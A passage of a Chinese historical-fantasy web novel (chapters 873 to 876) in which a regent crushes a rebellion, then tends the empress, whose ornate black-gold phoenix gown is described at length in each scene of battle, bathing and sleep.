林臻眼神瞬间转冷,但拥着慕容嫣的手臂依旧温柔。他淡淡道:“押下去,严加看管!清扫战场,救治伤员,统计伤亡。还有…” 他顿了顿,声音冰寒,“寻回陛下拖尾的残件,清理干净,一片宝石也不许遗漏!” “是!”将领躬身领命,迅速退下。 慕容嫣从他怀里抬起头,泪眼朦胧地看着他:“夫君,还要那拖尾做什么…”她都以为那拖尾早已毁于战火,或被践踏得不成样子。 “那是嫣儿的东西,”林臻低头看她,目光深邃,“哪怕是一片碎布,一颗宝石,也是你的。谁也不许糟蹋。”他的语气带着一种近乎偏执的占有与维护。 慕容嫣心中悸动,将他抱得更紧。 林臻打横将她抱起,小心避开自己的伤口,向早已备好的御辇走去。她的袍摆已然残缺,?喇叭袖垂落,一身华服尽染尘污,却依旧在残阳与硝烟的映照下,流转着破碎而倔强的华光。他将她轻柔地放入辇中,自己也坐了进去,将她牢牢护在身侧。 御辇起驾,在精锐军队的护卫下,缓缓驶离这片血腥的战场,返回皇宫。 辇内,慕容嫣疲惫地靠在林臻怀中,渐渐沉入半睡半醒的昏沉之中。林臻低头,凝视着她沉睡中依旧微蹙的眉心,和墨袍上刺眼的污损与破损,眼中充满了滔天的怒火与无尽的心疼。 他知道,叛乱虽平,但余波未了。而伤了他的嫣儿,毁了她心爱的衣袍…这笔账,他会连本带利,与那些逆贼好好清算。 夕阳如血,将天空染成一片凄艳的红色。华贵的御辇载着相拥的帝后,驶向恢弘的皇城,身后是渐渐沉寂的、弥漫着血腥气的战场,以及那条被遗落、终将被寻回的、破碎的墨色星河。 第873章 平叛 西山格物苑的厮杀已臻白热化。 叛军如汹涌的潮水,疯狂冲击着御阶前由林臻亲卫与新军组成的钢铁防线。 金铁交鸣之声震耳欲聋,火铳轰鸣,箭矢尖啸,血肉横飞,昔日庄严肃穆的广场已化为惨烈的修罗场,血腥气与硝烟味浓烈得令人窒息。 然而,在这片混乱与杀戮的中心,御阶之上,却存在着一方奇异的、仿佛被无形力量守护着的绝对领域。 慕容嫣并未被林臻护在身后。 她屹立于凤椅之前,身姿挺拔如松,面容清冷如冰,那双平日慵懒含情的眼眸,此刻竟锐利如电,蕴含着不容置疑的威严与怒火。 她身上所穿,正是那身极致华丽、象征着大乾至高皇权的黑金色百鸟朝凤裙。 ?裙袍的底色是至极的玄黑,却比最深的夜更沉,比最润的墨玉更透,在漫天血火与硝烟的映照下,非但不显黯淡,反而呈现出一种吞噬一切光线、却又自内里折射出幽暗金芒的质感,神秘、高贵、不可侵犯。? 袍服之上,并非像以前似的绣着一百只凤凰,而是以最顶级的捻金线、赤金箔、暗金丝,采用绝世“盘金凸纹”与“缀羽绣”工艺,织就了一只巨大无比、占据整个袍身、正引颈高鸣、展翅欲飞的擎天巨凤!?? 这巨凤的每一片羽毛都清晰可见,层次分明,尾羽迤逦铺展,覆盖了整个裙摆与前襟。 凤羽的主体是深邃的暗金色,边缘以亮金勾勒,羽尖则点缀着细小的黑曜石与深色蓝宝石,在光线下折射出冰冷而璀璨的星芒。 凤首高昂,眼眸是以两枚巨大的、切割完美的龙睛金绿宝石镶嵌,锐利如电,仿佛能洞穿人心,鸟喙则以乌金镶嵌,闪烁着冷硬的光泽。 整只巨凤栩栩如生,华美尊贵到了极致,气势磅礴,仿佛下一刻便会脱离袍服,扶摇直上,以无上威仪镇压世间一切叛逆! ?宽大无比的喇叭袖袖口并非寻常弧度,而是裁剪成层叠的凤羽形状,边缘以细密的、打磨成水滴形的黑金片与乌金珠串流苏,行动间流光溢彩,碰撞出低沉而尊贵的金石之音,丝毫不显轻浮。 而那长达三丈、与袍服连为一体、毫无接缝的巨型黑金镶宝拖尾,此刻成为了全场最令人窒息的存在! 它并未由任何宫女或女官托举,而是以其自身的绝对重量与华美,?如同一条拥有生命的、流动的黑金色星河,自御阶最高处自然而沉重地垂落、铺展、迤逦而下!? ?拖尾之上,以更细的金线绣出万千臣服的百鸟朝凤图案,其间以无数颗大小不一、切割完美的黑钻、墨玉、乌金、暗红宝石、深蓝宝石密集镶嵌,勾勒出云霞与星辰的纹路。 在血火与阳光的照耀下,这拖尾疯狂地折射着冰冷、璀璨、令人无法直视的耀眼光芒,如同一片正在缓慢移动的、凝固的、奢华无匹的黑金色星河! 其华美、其沉重、其威仪,已然超脱了衣饰的范畴,化为了一种实质性的、碾压性的权力象征! 她头戴一顶与之相配的、更加沉重的黑金百鸟朝凤冠,冠上凤凰口中衔下的十二串乌金珠旒垂落额前,微微晃动,更衬得她容颜绝世,威仪天成,不容逼视! 她就那样站着,?华服无损,拖尾完美,仿佛周遭的血腥厮杀、飞溅的污物都无法靠近她周身三尺之地! 那身沉重无比的黑金裙袍与三丈拖尾,此刻非但不是累赘,反而成了她无上权威与冷静镇定的最直观体现! 她丝毫不嫌其沉,挺拔的身姿仿佛与这身华服融为一体,共同散发出镇压一切的磅礴气势! “陛下……”一些仍在抵抗的叛军,偶尔瞥见御阶上那尊黑金色的、宛如神祇临凡的身影,竟不由自主地心生敬畏,动作都迟缓了几分。 林臻并未站在她身前,而是立于她身侧半步之后。 他一身绛紫蟠龙战袍染满血污,手持那柄奇特的金色短铳,眼神冰冷如刀,扫视着战场,精准地指挥若定,清除着每一个试图靠近的威胁。 他与她,一者主杀伐,一者镇威仪,相辅相成,浑然一体! “慕容弘!慕容璋!”林臻的声音再次响起,灌注内力,压过战场喧嚣,“逆贼!还不现身受死!” 回应他的,是叛军后方传来的一声惊怒交加的狂吼:“不可能!那是什么?!那身衣服……” 显然是慕容弘或慕容璋看到了慕容嫣那身超越想象的华服与不可思议的完好无损,心神为之所夺,产生了瞬间的动摇与惊疑。 就在这刹那! 林臻动了! 他眼神一凛,捕捉到了那声音传来的大致方位,手中金色短铳以肉眼难以捕捉的速度抬起! “砰!砰!砰!砰!” 四声急促到极致的铳响,几乎撕裂空气!四颗特制的精钢弹丸并非射向普通叛军,而是循声辨位,以一种极其刁钻的角度,穿过混乱的战场,直射向叛军后方指挥核心! “呃啊!” “保护王爷!” 惨叫声与惊呼声同时从叛军后方响起! 只见慕容弘与慕容璋所在的临时指挥处,一片人仰马翻!慕容弘的肩胛被一颗弹丸瞬间击碎,手中令旗跌落! 慕容璋更惨,一颗弹丸擦着他的头皮飞过,打飞了他的发冠,另一颗则击碎了他身旁亲信将领的头颅,红白之物溅了他一身! 林臻的枪法,已臻化境!擒贼先擒王! 主帅受创,叛军本就摇摇欲坠的指挥系统瞬间崩溃! “降者不杀!”林臻趁势怒吼,声震四野。 “降者不杀!!”新军与禁军齐声怒吼,气势如虹! 叛军终于彻底崩溃,成片成片地丢弃兵器,跪地求饶。 战斗,迅速平息。 硝烟依旧弥漫,但杀声已止。只剩下伤者的呻吟和胜利者的喘息。 慕容嫣依旧屹立在御阶之上,?黑金百鸟朝凤裙在微风中轻轻拂动,?巨凤图案在渐散的硝烟中更显威严,?三丈拖尾在女官们稳定的托举下,流光溢彩,完好无损,仿佛刚才那场血腥的厮杀从未发生过,未曾沾染一丝血污,未曾留下一道划痕。 林臻转过身,走到她面前。他身上的战袍血迹斑斑,肩头有一道明显的刀伤仍在渗血,但他毫不在意。 他抬头,仰视着站在高阶之上、身着极致华服、威仪万丈的她,眼中充满了无尽的欣赏、骄傲与爱恋。 “嫣儿,”他开口,声音因方才的怒吼而略显沙哑,却异常温柔,“逆贼已平。” 慕容嫣微微颔首,威仪的目光缓缓扫过下方跪伏一地的叛军和正在清理战场的将士,?喇叭袖下的手轻轻抬起,声音清越而平稳,传遍全场:“众卿平身。肃清余孽,救治伤员,整顿现场。” “臣等遵旨!”山呼海啸般的回应响起,充满了敬畏与臣服。 下达完命令,慕容嫣才将目光完全落回林臻身上。看到他肩头的伤和身上的血污,她威严的目光瞬间融化,化为浓得化不开的心疼。 她向前一步,?宽大的喇叭袖拂过他的手臂,声音压低了,带着一丝不易察觉的颤抖:“夫君…你的伤…” “无妨。”林臻握住她喇叭袖下微凉的手,轻轻捏了捏,目光却流连在她完美华贵的裙袍上,语气带着赞叹与一丝戏谑,“我的嫣儿今日…真是…耀眼夺目,威震乾坤。逆贼见了,怕是未战先怯了三分。” 慕容嫣脸颊微红,嗔怪地睨了他一眼,?黑金裙袍上的巨凤也随之微微波动:“夫君还有心思说笑…”但看到他还有心情玩笑,知他伤势确实不重,心下稍安。 林臻低笑,上前一步,与她并肩而立,看向被押解过来的、狼狈不堪的慕容弘与慕容璋。 两人看到慕容嫣那身毫无损伤、华美威严到令人窒息的黑金凤裙,尤其是那只仿佛随时会扑下来将他们撕碎的擎天巨凤,眼中都露出了难以置信的惊恐与绝望。 他们无法理解,在如此混乱的战场上,她是如何保持这般…神迹般的完美与威严的? 慕容嫣的目光冷冷地扫过他们,并未多说一字,但那华服所带来的、绝对的权威与压迫感,已让两人如坠冰窟,浑身颤抖,连抬头直视的勇气都没有。 “押下去。”林臻淡淡吩咐,语气漠然,如同处理垃圾。 叛军被押走,战场清理工作有序进行。 林臻这才再次看向慕容嫣,伸出手:“嫣儿,此地污秽,我们回宫。” 慕容嫣点点头,将手放入他的掌心。他并未抱她,而是扶着她,一步步沉稳地走下御阶。 那长达三丈的黑金镶宝拖尾,在女官们精准的操控下,随之平稳移动,如同一条流动的、奢华的黑金色河流,缓缓滑过染血的地面,却奇迹般地未曾沾染半分污秽,始终保持着极致的璀璨与洁净。 所过之处,所有将士皆垂首躬身,不敢直视那过于耀眼的尊荣。 登上御辇,帘幕垂下,隔绝了外界的视线。 慕容嫣这才微微松懈下挺直的脊背,轻轻靠向林臻,?喇叭袖下的手轻轻抚上他肩头的伤处,眼中水光氤氲:“回去立刻让太医诊治…” “好。”林臻揽住她,低头吻了吻她的发顶,目光再次落在她华美无俦的裙袍上,轻叹道:“这身衣裳今日立了大功。” 慕容嫣靠在他怀里,感受着沉重裙袍带来的安全感与归属感,轻声呢喃:“只要穿着它,就像夫君一直在我身边一样…再沉,我也喜欢。” 御辇起驾,在得胜之师的护卫下,驶离这片渐渐恢复平静的土地。辇内,?黑金色的凤凰依偎着她的龙,华服依旧,岁月静好。 第874章 它的重量让我觉得安心 叛乱平定后的皇城,仿佛一场暴雨洗过的琉璃世界,恢复了往日的庄严肃穆,甚至因这场风波的反衬,更显出一种不容置疑的权威与宁静。 血腥气早已被浓郁的龙涎香与冷梅香驱散,宫人们步履轻盈,神色恭谨,一切井然有序,仿佛那场发生在西山的惊变只是一场遥远的噩梦。 时值午后,阳光透过暖阁最高处的剔透琉璃窗,洒下温暖而柔和的光柱,将空气中漂浮的微尘都染成了金粉。 地龙无声地散发着融融暖意,与窗外初冬的微寒形成了温柔的对比。暖阁内并未因之前的动荡而显得冷清,反而因主人的回归而更添几分暖融奢华。 慕容嫣并未在处理政务——她也从不处理。她慵懒地倚靠在窗边一张铺着厚实墨绿色孔雀绒软垫的贵妃榻上,身姿舒展,带着劫波渡尽后的闲适与安然。 她身上所穿,依旧是那身极致华丽、象征着大乾至高皇权的黑金色百鸟朝凤裙。 ?裙袍的底色是至极的玄黑,在午后充沛而柔和的光线下,呈现出一种比最深的子夜更沉静、比最润的墨玉更温软的质感,吸吮着光线,却又自内部隐隐透出幽蓝与暗紫的微光,神秘而高贵。 ?袍服之上,那只以无数珍稀金银彩线、采用绝世“盘金凸纹”并“缀羽绣”工艺织就的擎天巨凤,安然栖息,每一片羽毛都流转着温润而内敛的华彩,赤金灼灼如熔金,玫金娇艳如晚霞,银白皎洁如月华,紫金贵气如祥云,凤眸上的宝石折射出沉稳的星芒,整只巨凤华美尊贵到了极致,气势磅礴,却带着一种经历风波后的从容与不可侵犯的威仪。 ?宽大无比的喇叭袖铺陈在榻上的软垫,袖口边缘缀着的细密黑珍珠流苏纹丝不动,泛着温润光泽。而那长达三丈、与袍服连为一体、毫无接缝的巨型黑金镶宝拖尾,并未铺展,而是被她随意地拢起,层叠堆放在榻旁一张特制的、铺着玄色暗花云锦的宽阔矮榻上,如同一条暂时收敛了光芒的、沉睡的墨金色星河,其上镶嵌的无数宝石在柔和光线下闪烁着低调而奢华的微光,华美依旧,沉静无比。 她并未绾繁复发髻,如云青丝仅以一支通透的墨玉长簪松松绾起一部分,余下长发如瀑,披散于肩背,流淌在墨袍的百凤图案与孔雀绒软垫之上。 她赤着足,一双玉足从层叠的墨色袍摆下探出,纤巧秀美,自然地微微蜷缩着。 她手中并未拿着书卷或画谱,而是捧着一盏热气腾腾的、新进贡的“雪顶含翠”,目光放空地望着窗外庭院中几株经霜愈艳的红枫,眼神平静,带着惯有的慵懒,仿佛不久前那场针对她与林臻的叛乱,并未在她心中留下丝毫涟漪与恐惧。 她是女帝,是花瓶,世间纷扰,于她而言,不过云烟过眼,自有林臻为她拂去尘埃。 暖阁的门被轻轻推开,林臻走了进来。他已换下一身染血的战袍,穿着一身与她墨袍相得益彰的深青色缂丝云纹常服,墨发以一根简单的羊脂玉簪半绾,周身带着沐浴后的清新气息,眉宇间的凌厉杀伐之气已尽数敛去,只剩下面对她时的温和与从容。 他的目光在踏入暖阁的瞬间,便精准地落在榻上那抹玄黑华贵的身影上,眼底瞬间染上暖意与一丝不易察觉的骄傲。他的嫣儿,便该如此,安然居于这琼楼玉宇之中,华服加身,风雨不侵。 “嫣儿。”他轻声唤道,脚步放轻,走到榻边。 慕容嫣闻声,缓缓转过头来,目光从红枫上收回,落在他身上,唇角微微扬起一个清浅却动人的弧度:“夫君忙完了?” 她的声音软糯,带着一丝慵懒的沙哑,全然听不出半点惊魂未定的痕迹。 “嗯,些须琐事,都已处置妥当。”林臻在榻沿坐下,极其自然地伸手,为她理了理颊边一缕微乱的发丝,指尖拂过她细腻的肌肤,带来一阵温热的触感。 他的目光流连过她墨袍上那只安然栖息却威仪不减的巨凤,语气带着赞赏与宠溺,“这身衣裳,衬得我的嫣儿愈发威严了。” 慕容嫣低头看了看自己身上华美无比的裙袍,?喇叭袖下的手轻轻拂过上面冰凉丝滑的金线刺绣,语气带着一丝理所当然的娇憨:“是夫君做的好。” 她从不认为这威仪源于自身,只觉得是他赋予她的荣光。 林臻低笑,心中爱极她这般模样。他注意到她拢在矮榻上的那长达三丈的拖尾,不由问道:“这般拢着,可会觉得不适?” 他知道这拖尾极其沉重。 慕容嫣摇摇头,甚至微微调整了一下坐姿,让那堆叠的拖尾更顺遂些:“习惯了。它的重量让我觉得安心。” 她轻声说道,这是她鲜少会表达的、对这件华服的依赖。这沉重感于她而言,并非负累,而是他与她紧密相连的、实实在在的证明,是她无上尊荣的基石,让她可以安心地做一个“花瓶”。 林臻闻言,心中微软,伸手握住她喇叭袖下微凉的手,纳入自己温暖的掌心:“那便好。” 他细细摩挲着她的指尖,仿佛要将他所有的温度与力量都传递给她。 “那些叛军…都处理干净了?”慕容嫣忽然轻声问,语气平淡得像在问今日的点心是什么。 “嗯,”林臻语气淡然,眼底却掠过一丝冰冷的寒芒,“首恶已诛,九族皆夷。余党清算,牵连者或流或贬,京畿内外,已彻底肃清。” 他轻描淡写的话语背后,是无数的人头落地和家族倾覆,但他并不愿让她知晓这些血腥细节,只需她知道结果已定,天下已安。 慕容嫣果然只是轻轻“哦”了一声,并无太多兴趣,反而将空着的那只手指向窗外:“夫君你看那枫叶,红得真好看。” 林臻顺着她指的方向望去,眼中寒意瞬间消融,化为一片温柔:“嗯,好看。比西山别苑的还要红些。” 他默契地不再提那些煞风景的事。 “过几日,我们去摘些枫叶,夹在书里,可好?”慕容嫣仰起脸看他,眼中带着一丝孩童般的期待。 “好,”林臻毫不犹豫地应下,“嫣儿想做什么,便做什么。” 这时,宫女悄无声息地奉上点心,是御膳房新制的金丝枣泥山药糕和桂花糖蒸新栗粉糕,做得极其精巧,香气清甜。 林臻亲自拈起一块枣泥糕,递到慕容嫣唇边:“尝尝?说是用了新法制的枣泥,更细腻些。” 慕容嫣就着他的手,小口咬了一下,细细品尝,点了点头:“嗯,甜而不腻,好吃。”她宽大的喇叭袖随着她的动作轻轻晃动。 林臻看着她满足的模样,眼中笑意更深,就着她咬过的地方,将剩下的半块糕点放入自己口中,点头附和:“确实不错。” 两人就这样,一个喂,一个吃,偶尔低语几句,内容无非是花鸟虫鱼、书画琴棋,丝毫不涉朝政风云。暖阁内气氛温馨缱绻,仿佛外间的一切波澜都与他们无关。 用完点心,慕容嫣似乎有些倦了,轻轻打了个小哈欠,?喇叭袖掩住半张脸,眼睫垂下,带上了几分惺忪睡意。 “乏了?”林臻低声问,伸手为她拂开额前一缕发丝。 “嗯…”慕容嫣软软地应了一声,身子微微向他倾斜。 林臻会意,调整了一下姿势,让她舒适地靠在自己怀里。慕容嫣在他怀里蹭了个更舒服的位置,闭上眼睛,鼻尖萦绕着他身上令人安心的清冽气息与墨袍上淡淡的冷梅香,很快便呼吸均匀,沉入梦乡。 林臻低头凝视着她恬静的睡颜,目光温柔得能滴出水来。他小心地拉过一旁轻软的鲛绡薄衾,为她盖好,连那堆叠的华美拖尾也细心盖住了一角。 他就这样抱着她,一动不动,任由时光静静流淌。阳光透过窗棂,将相拥的两人笼罩在温暖的光晕之中。?华贵的墨袍与素雅的常服交织,?逶迤的拖尾堆叠如云,勾勒出极致奢华又无比安宁的画面。 不知过了多久,直到怀中人儿呼吸愈发绵长,林臻才极其小心地、尽量不惊动她的情况下,缓缓起身,将她轻柔地安置在榻上,为她掖好被角。 他在榻边又静立片刻,确认她已熟睡,这才转身,走向外间。当他步出暖阁时,脸上的温柔瞬间敛去,恢复了平日那种沉稳冷峻、不怒自威的摄政王气场。 “王爷。”候在外间的总管立刻躬身。 “名单上的人,都处理干净了?”林臻的声音低沉平静,却带着一丝冰冷的杀意。 “回王爷,均已处置妥当,绝无后患。” “嗯。”林臻淡淡应了一声,“格物院新改进的‘连珠铳’,测试得如何了?” “回王爷,已测试完毕,威力射程均远超旧式火铳,正在加紧赶制,优先配备亲卫营与京畿新军。” “很好。”林臻目光遥望远方,眼神深邃,“本王要这天下,再无人敢惊扰陛下的安宁。” “是!” 暖阁内,慕容嫣在睡梦中无意识地翻了个身,?宽大的喇叭袖滑落,露出一截雪白的手臂。那身黑金色的百鸟朝凤裙在睡梦中依旧华光流转,?巨凤安然,?拖尾逶迤。 阁外风云暗涌,只为守护阁内这一方宁静奢华,与她永世无忧的容颜。 第875章 战后沐浴 月华如练,静静流淌在肃穆的皇城殿宇之上,为冬夜增添了几分清冷与静谧。 叛乱平定的余波已渐次平息,宫中恢复了往日的秩序森严,只是巡逻的禁卫较往日更加频繁,无声地彰显着不久前那场风波的痕迹。 摄政王府深处,并非寻常的浴池,而是一处引天然温泉活水而成的殿宇——“凝香殿”。 殿内白玉为池,黄金作兽首吐水,四周垂落着轻如烟雾的鲛绡纱幔,地上铺陈着厚厚的波斯长毛地毯,角落的紫金蟠龙香炉中吐出袅袅的安神香息,与温泉氤氲的水汽交融,弥漫在整个殿宇之中,温暖而湿润。 慕容嫣并未身着寝衣,而是依旧穿着那身极致华丽的黑金色百鸟朝凤裙。 此刻,她正安静地坐在池边一张铺着雪白狐皮的宽大玉凳上。? 裙袍的极致玄黑底色在殿内明珠与烛火的柔和光线下,呈现出一种吸纳所有光线、却又自内里隐隐透出幽暗金芒的质感,神秘而高贵,与周围氤氲的水汽形成一种奇异的对比。 ?袍服之上,那只以无数珍稀金银彩线绣就的擎天巨凤安然栖息,每一片羽毛在温暖湿润的空气中也依旧流转着内敛而温润的华彩,赤金灼灼,玫金娇艳,银白皎洁,紫金贵气,凤眸上的宝石折射着柔和而璀璨的星芒。 ?宽大无比的喇叭袖并未挽起,自然垂落,袖口边缘的黑珍珠流苏纹丝不动。而那长达三丈、与袍服连为一体、毫无接缝的巨型黑金镶宝拖尾,则并未随意堆叠,而是被她小心地、一层层地铺展在玉凳后方一张更为宽大的、铺着墨绿色丝绒的矮榻之上。 如同一条暂时收敛了锋芒的、沉睡的墨金色星河,其上镶嵌的无数宝石在珠光下闪烁着低调而奢华的微光,华美依旧,沉静无比。 林臻并未唤宫女伺候。 他仅着一身素绸寝衣,墨发披散,正半跪在她身前,动作极其轻柔地为她褪去鞋袜。他的一只手稳稳地托着她的足踝,另一只手小心地解着繁复的系带。 慕容嫣的玉足纤巧秀美,脚趾圆润,染着鲜红的丹蔻,在玄黑袍摆的映衬下,更显白皙莹润。 “水温刚好,嫣儿试试。”他抬头,声音在氤氲的水汽中显得格外低沉温柔。 慕容嫣微微颔首,任由他扶着自己,将双足浸入温暖的泉水中。暖意瞬间包裹上来,让她舒适地眯起了眼睛,像一只被顺毛抚摸的猫儿。 她宽大的喇叭袖边缘轻轻拂过水面,带起细微的涟漪。 林臻并未立刻让她入池,而是先取过一只玉瓢,舀起温热的泉水,小心地、一点点地从她的足踝淋下,让她适应温度。他的动作专注而虔诚,仿佛在完成一项极其重要的仪式。 慕容嫣垂眸看着他专注的侧脸,看着他为自己忙碌的样子,唇角微微弯起一个清浅的弧度。她喜欢这种感觉,喜欢他全神贯注于自己的模样。? 身上这身沉重华贵的裙袍,此刻非但不是负担,反而让她更清晰地感受到他的珍视与呵护。 “夫君,”她忽然轻声开口,?喇叭袖下的手指轻轻拨弄了一下水面,“这衣裳…沾了水汽,不会坏吧?” 她语气里带着一丝不易察觉的担忧,并非害怕责罚,而是纯粹出于对这件他赠予的华服的喜爱。 林臻闻言低笑,放下玉瓢,握住她微凉的手,指尖摩挲着她细腻的手背:“放心,这云锦用的是南海鲛绡丝混以金线织就,染色的工艺特殊,水汽不侵,即便浸入水中,取出后亦会光洁如新,不会褪色变形。” 他语气笃定,带着一丝骄傲,“给我嫣儿的东西,自然是天下最好的。” 慕容嫣这才安心,眼中流露出欢喜,反手与他十指相扣:“那就好。” 她顿了顿,声音更软,“我喜欢穿着它。” “我知道。”林臻目光温柔得能溺死人,他起身,小心地扶着她,一步步走入温泉池中。 温热的泉水逐渐漫过她的脚踝、小腿、腰际…最终及至胸口。 ?沉重华贵的黑金凤裙在入水的瞬间,并未如寻常织物般立刻吸水下沉,而是仿佛被一层无形的气罩托住,裙摆和拖尾在水中缓缓散开,如同墨色的云霞铺陈于清澈的池底。 其上的金线刺绣与宝石镶嵌在水波荡漾下,折射出迷离而梦幻的光彩,愈发显得华丽神秘,美得惊心动魄。?宽大的喇叭袖也漂浮在水面,袖口的珍珠流苏微微晃动。 慕容嫣发出一声满足的轻叹,温热的水流包裹全身,有效地舒缓着连日来或许存在的、连她自己都未察觉的紧绷感。她向后靠去,倚在池壁光滑的白玉上,?水中的墨袍如一朵盛放的玄色牡丹,将她包裹其中。 林臻也步入池中,靠近她。他并未穿着繁琐的服饰,素绸寝衣被水浸湿,贴在身上,勾勒出结实挺拔的身形。他的目光始终流连在她身上,看着水中的华服与她被水汽蒸得微红的脸颊,眼中充满了欣赏与爱恋。 他拿起一只白玉勺,舀起温泉水,小心地避开她的头部,缓缓淋在她露在水面的袍服肩颈处,让温热的水流浸润巨凤的羽翼。水流划过金线刺绣,带起细碎的水光。 “还重吗?”他低声问,指的是被水浮起部分的裙袍。 慕容嫣摇摇头,在水中微微晃动了一下手臂,感受着喇叭袖在水中的浮沉:“不重,很舒服。” 她甚至觉得,这身华服在水中,仿佛有了生命一般,与她更加贴合。 林臻笑了笑,目光落在她依旧干燥的、挽起的发髻上。他伸出手,极其轻柔地取下那支墨玉长簪,如云青丝瞬间披散下来,流淌在墨金色的袍服与水面上,黑白分明,极尽妖娆。 他拿过一旁准备好的、用初绽白梅与沉香水精心浸泡过的香露,倒于掌心,搓热后,开始为她按摩头皮与肩颈。 他的手法熟练而轻柔,指尖带着恰到好处的力度,揉散可能存在的疲惫。 慕容嫣舒适地阖上眼,长睫如蝶翼般轻颤,任由他服务。 鼻尖萦绕着冷梅沉香与温泉水汽混合的、令人安心的气息。她宽大的喇叭袖在水下轻轻飘荡,偶尔拂过他的手臂。 “夫君的伤…”她忽然想起,睁开眼,扭头看向他肩头已经包扎好的伤口,眉头微蹙,“沾了水不要紧吗?” “无妨,包扎时用了格物院新制的防水药膏与细纱布。” 林臻不在意地笑笑,继续手中的动作,“倒是嫣儿,那日…可有吓到?” 他问得小心翼翼,尽管知道她从不害怕,但仍忍不住确认。 慕容嫣微微歪头,似乎认真思考了一下,然后摇摇头:“没有。只是觉得他们…很吵。” 她语气平淡,仿佛在评价一场喧闹的庙会,“而且,弄脏了地方。” 她更在意的是环境的洁净与美观。 林臻失笑,心中最后一点担忧也放下了。他的嫣儿,心性纯粹如此。“嗯,以后不会再有苍蝇来吵嫣儿了。” 他保证道,语气温柔却带着不容置疑的冷酷。 按摩完毕,他又取过一把以温玉为齿的梳子,浸了温泉水流,为她梳理那头长发,动作耐心至极。 慕容嫣享受着他的服务,身心彻底放松下来。她玩心忽起,?喇叭袖下的手悄悄掬起一捧水,趁他不注意,轻轻泼向他。 林臻一怔,随即低笑出声,也不闪避,任由水花打湿自己的胸膛。他看向她,她眼中闪烁着罕见的狡黠与调皮,脸颊被水汽蒸得绯红,唇瓣娇艳欲滴,在墨金色华服的映衬下,美得惊心动魄。 “调皮。”他声音沙哑,伸手握住她捣乱的手,将她轻轻拉向自己。 慕容嫣顺势靠在他怀里,?水中的华服与他的寝衣相贴,?宽大的喇叭袖缠绕着他的手臂。温热的泉水在他们周围荡漾,水汽氤氲,模糊了彼此的轮廓,却让心跳声更加清晰。 “嫣儿…”他低头,吻了吻她光洁的额头,然后是鼻尖,最后,覆上那两瓣诱人的红唇。 这个吻带着温泉的暖意与香露的清甜,温柔而缠绵。 许久,林臻才微微松开她,额头抵着她的额头,呼吸微促。慕容嫣靠在他怀里,气息不稳,眼眸中水光潋滟,比池水更动人。 “起来吧,泡久了头晕。”他低声哄道。 “嗯。”慕容嫣软软应道。 林臻先起身,然后用宽大的棉巾将自己裹住,再伸手,小心地将她从水中扶起。?浸湿的黑金凤裙并未如想象中那般沉重下垂,水流迅速从特殊的衣料上滑落,竟真的如他所说,很快恢复了原有的挺括与光泽,只是带着湿润的水汽,更添几分莹润光彩。 那长达三丈的拖尾被带出水面,水珠如同断线的珍珠般从宝石和金线上滚落,竟也未曾留下明显水渍。 他用干燥的、烘暖的雪狐皮大氅将她整个裹住,细心为她擦拭头发和脸颊上的水珠。 “看,没事吧?”他指着她依旧华美如初的裙袍,笑道。 慕容嫣低头看了看,眼中露出欣喜,用力点头:“嗯!” 他这才将她打横抱起,走向殿内设着的暖榻。那沉重的拖尾随之拖曳过地面,留下一道淡淡的水痕,但很快便被宫人无声地擦拭干净。 将她放在铺着厚软绒毯的暖榻上,林臻取来早已备好的、用百花香露浸润的软巾,为她仔细擦拭袍服上残留的湿气,尤其是那拖尾,他擦拭得格外小心仔细,确保其华美无损。 慕容嫣安静地坐着,看着他为自己忙碌,看着他专注的神情,心中被暖意填满。她伸出手,轻轻碰了碰他肩头包扎的地方:“夫君…还疼吗?” 林臻握住她的手,放到唇边吻了吻:“早不疼了。” 他看着她,眼神深邃,“只要嫣儿无事,我便无事。” 擦拭干净,?华服恢复了一贯的沉静华美。林臻并未让她更换寝衣,而是就让她穿着这身微带湿润水汽的黑金凤裙,拥着她一同躺倒在暖榻之上。 慕容嫣在他怀里找了个舒适的位置,?宽大的喇叭袖搭在他身上,?沉重的拖尾堆叠在榻侧,如同温暖的羽翼覆盖着两人。她听着他沉稳的心跳,闻着他身上令人安心的气息与袍服上淡淡的冷梅香,眼皮渐渐沉重。 “睡吧,嫣儿。”林臻轻拍她的背,低声哼唱起那首不成调的江南童谣。 在温柔的歌谣与温暖的怀抱中,慕容嫣沉入黑甜的梦乡。?华服依旧,拖尾迤逦,守护着她的安宁与奢华梦境。 第876章 我的嫣儿睡相好 夜深人静,皇城笼罩在一片静谧的安宁之中。 摄政王府的主寝殿内,地龙将空气烘得暖融宜人,角落的鎏金兽首香炉中,吐出袅袅的安神冷梅香,与殿内固有的龙涎沉香交织,清雅宁神,催人入眠。 数盏镶嵌于壁柱与穹顶的电石灯已调节至最柔和的光线,将殿内的一切笼罩在一片朦胧而温馨的光晕里,如同为奢华披上了一层梦幻的轻纱。 慕容嫣并未穿着寻常丝缎寝衣。她身着的,正是那身已然成为她第二层肌肤、象征无上荣宠与个人偏好的黑金色百鸟朝凤睡裙。 这身睡裙,款式与外出的朝服并无二致,依旧极致华美,用料做工一般无二,只是或许因是寝居所用,其玄黑的底色在柔和灯下更显出一种深邃的温软,少了几分朝堂上的锐利锋芒,多了几分夜晚的沉静与私密。 仿佛将最沉的夜色与最润的墨玉融合,吸吮着光线,却又自内里隐隐透出更为幽微的蓝紫金芒,神秘高贵中透着一丝慵懒。?睡裙之上,那只以无数珍稀金银彩线绣就的擎天巨凤并未沉睡,依旧以绝世“盘金蹙绒”并“缀羽绣”工艺盘踞袍身。 每一片羽毛在柔和光线下流转着内敛而温润的华彩,赤金、玫金、银白、紫金的色泽比白日更为柔和,凤眸上的宝石折射着星子般的微光,整只巨凤华美尊贵依旧,气势却显得更为安宁,如同守护着主人的夜眠。 ?宽大无比的喇叭袖袖口并未束起,自然垂落,边缘缀着的细密黑珍珠流苏纹丝不动,泛着温润光泽。 而那长达三丈、与睡裙连为一体、毫无接缝的巨型黑金镶宝拖尾,此刻并未铺展,而是被她随意地、却又带着某种珍惜意味地拢起,层叠堆放在龙床内侧特意加宽、铺着玄色暗金云纹软缎的榻沿上。 如同一条暂时收敛了所有光芒的、温顺的墨金色星河,其上镶嵌的无数黑钻、墨玉、乌金、暗红宝石、深蓝宝在幽微光线下闪烁着低调而奢华的微光,华美依旧,沉静无比。 她如云青丝尽数披散下来,并未绾任何发髻,流淌在墨金色睡裙的华美图案与枕畔之间,黑白分明,惊心动魄。她赤着足,一双玉足从层叠的墨色睡裙袍摆下探出,纤巧秀美,微微蜷缩着。 